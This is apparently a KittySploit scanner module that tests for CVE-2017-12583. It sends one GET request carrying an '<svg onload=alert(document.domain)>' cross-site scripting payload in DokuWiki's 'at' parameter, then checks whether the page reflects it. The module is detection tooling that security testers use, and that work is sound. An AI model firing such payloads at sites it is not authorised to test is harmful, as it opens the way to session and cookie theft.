DokuWiki - Cross-Site Scripting Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'DokuWiki - Cross-Site Scripting Detection',
        'description': 'DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'xss', 'dokuwiki', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/splitbrain/dokuwiki/issues/2061',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12583',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2017-12583',
    }

    def run(self):
        r = self.http_request(method="GET", path='/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="DokuWiki - Cross-Site Scripting detected",
                path='/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>',
            )
            return True
        return False